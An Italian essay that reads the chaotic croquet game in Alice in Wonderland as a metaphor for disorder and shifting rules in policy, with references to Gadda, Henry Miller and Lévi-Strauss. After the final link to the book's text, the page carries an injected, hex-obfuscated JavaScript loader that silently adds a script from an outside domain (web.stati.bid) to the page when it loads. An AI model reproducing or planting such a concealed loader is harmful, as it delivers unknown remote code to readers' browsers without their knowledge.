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L'assurdo delle politiche

Il gioco del croquet nel quale viene coinvolta Alice e’ una metafora spesso utilizzata per descrivere situazioni ingarbugliate che non rispettano regole e funzioni. Nel gioco nulla e’ come dovrebbe essere. Il campo è pieno di buche, si utilizzano le carte come porte, istrici come palle e fenicotteri come mazze. I fenicotteri si piegano a guardare i giocatori. Le istrici vagano per il campo invece di restare appallottolate e seguire le traiettorie. Il gioco è una gran confusione di giocatori che urlano e giocano all’unisono. Spesso le porte (le carte) devono assentarsi per decapitare chiunque capiti a tiro alla regina che ne sentenzia la morte.

Il garbuglio delle situazioni non e’ insolito in pratica. Gadda provo’ da ingegnere a dare senso alle vicende complicate in letteratura. Ma si puo’ andare oltre all’imperativo etnografico di capire l’altro, come raccomanda Henry Miller : ” Confusione è parola inventata per indicare un ordine che non si capisce. (da Tropico del Capricorno, in Opere). Un’aspirazione che  Levi-Strauss esprime nell’approccio scientifico ai fenomeni culturali, nel presupposto che l’eterogeneità apparentemente caotica dei fenomeni culturali sia intellegibile. Sotto al caos delle vicende umane si darebbe un ordine, una “struttura” riconducibile a leggi logiche invarianti. Questo approccio ha grande valenza esplicativa, ma richiede una forte stabilita’ negli elementi che compongono la struttura; e in particolare, una forte coerenza tra chi agisce e le regole interiorizzate che dettano il suo agire, tra soggetti e ruoli, ruoli e funzioni. L’approccio strutturale insomma non ammette e spiega male il disordine. Eppure, questo resiste, e spesso si manifesta in modo prepotente.

Ma confrontarsi con il disordine non e’ il solo insegnamento della regina di cuori. La storia presenta una valenza in più. Non solo il caos non si riduce, non si lascia riportare a un ordine per quanto nascosto. La stessa struttura dell’ordine si decompone. Le regole sono tali solo se vengono seguite. Ma se tutti i giocatori si inventano le proprie regole? Non solo si palesano più ordinamenti tra loro conflittuali, ma soprattutto ogni forma di struttura evolve di continuo, creando nuove situazioni e nuovi giochi. La palla non solo non segue la traiettoria, ma non e’ una palla, e scappa.

Non c’e’ motivo di contrapporre in modo apodittico l’una pretesa all’altra. Un’accorta idea di struttura può tollerare la presenza di aree di disordine. L’errore sarebbe non riconoscere il caos e volerlo comunque ridurre a un ordine purchessia. Il rovesciamento dell’assurdo nel campo di croquet illumina situazioni non infrequenti di instabilità e cambiamento strutturale.

Il testo di Alice nel paese delle meraviglie si trova tra l’altro su: http://www.liberliber.it/biblioteca/d/dodgson/index.htm var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

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